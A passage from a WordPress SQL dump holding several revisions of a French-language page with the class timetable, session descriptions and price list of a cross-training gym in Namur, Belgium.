class=\&quot;tcelluleprix\&quot;&gt;20.00€ (Sur rendez-vous)\r\n30 min : 10 min de bilan + 20 min de découverte avec un coach en personal training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Personal Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 60.00€\r\n30 min : 35.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 35.00€\r\n30 min : 20.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Small Group Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 10.00€\r\n1 carte de 10 séances : 90.00€ (valable 6 mois)\r\n1 carte de 20 séances : 150.00€ (valable 6 mois)\r\n1 carte de 50 séances : 300.00€ (valable 1 an)&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Préparation physique&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 40.00€\r\nSéance de 30 min orientée sur les spécificités du sport&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + coaching nutritionnel pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-12-15 19:43:23', '2014-12-15 19:43:23', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0);
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(467, 1, '2014-12-15 19:44:38', '2014-12-15 19:44:38', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot;/&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMills&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMilles&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMilles&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;20h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMills&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FEDAC;\&quot;&gt;Circuit Training&lt;/span&gt; : Entraînement sur un circuit ultra complet, fun et adapté à votre niveau. Ce circuit utilise tous les outils.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX&lt;/span&gt; : Entraînement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l’intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FA2;\&quot;&gt;Force&lt;/span&gt; : Entraînement basé sur le travail de la force pure avec ou sans prise de masse (Kettlebel, barre, haltère,…)&lt;b&gt; &lt;/b&gt;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A2A186;\&quot;&gt;Core&lt;/span&gt; : Entraînement basé sur le travail du centre du corps (« core »). Nous enchaînerons les exercices sur les muscles abdominaux, dorsaux, fessiers,…\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Small Group Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Séance Booster&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;20.00€ (Sur rendez-vous)\r\n30 min : 10 min de bilan + 20 min de découverte avec un coach en personal training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Personal Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 60.00€\r\n30 min : 35.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 35.00€\r\n30 min : 20.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Small Group Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 10.00€\r\n1 carte de 10 séances : 90.00€ (valable 6 mois)\r\n1 carte de 20 séances : 150.00€ (valable 6 mois)\r\n1 carte de 50 séances : 300.00€ (valable 1 an)&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Préparation physique&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 40.00€\r\nSéance de 30 min orientée sur les spécificités du sport&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + coaching nutritionnel pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-12-15 19:44:38', '2014-12-15 19:44:38', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(482, 1, '2015-04-21 09:53:17', '2015-04-21 09:53:17', '&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot; valign=\&quot;center\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot; /&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot; /&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;20h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot; /&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FEDAC;\&quot;&gt;Circuit Training&lt;/span&gt; : Entraînement sur un circuit ultra complet, fun et adapté à votre niveau. Ce circuit utilise tous les outils.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX&lt;/span&gt; : Entraînement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l’intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FA2;\&quot;&gt;Force&lt;/span&gt; : Entraînement basé sur le travail de la force pure avec ou sans prise de masse (Kettlebel, barre, haltère,…)&lt;b&gt; &lt;/b&gt;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A2A186;\&quot;&gt;Core&lt;/span&gt; : Entraînement basé sur le travail du centre du corps (« core »). Nous enchaînerons les exercices sur les muscles abdominaux, dorsaux, fessiers,…\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Small Group Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Séance Booster&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;20.00€ (Sur rendez-vous)\r\n30 min : 10 min de bilan + 20 min de découverte avec un coach en personal training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Personal Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 60.00€\r\n30 min : 35.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 35.00€\r\n30 min : 20.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Small Group Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 10.00€\r\n1 carte de 10 séances : 90.00€ (valable 6 mois)\r\n1 carte de 20 séances : 150.00€ (valable 6 mois)\r\n1 carte de 50 séances : 300.00€ (valable 1 an)&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Préparation physique&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 40.00€\r\nSéance de 30 min orientée sur les spécificités du sport&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + coaching nutritionnel pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2015-04-21 09:53:17', '2015-04-21 09:53:17', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(474, 1, '2015-04-21 08:52:06', '2015-04-21 08:52:06', '\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot; valign=\&quot;center\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot; /&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot; /&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot; /&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td 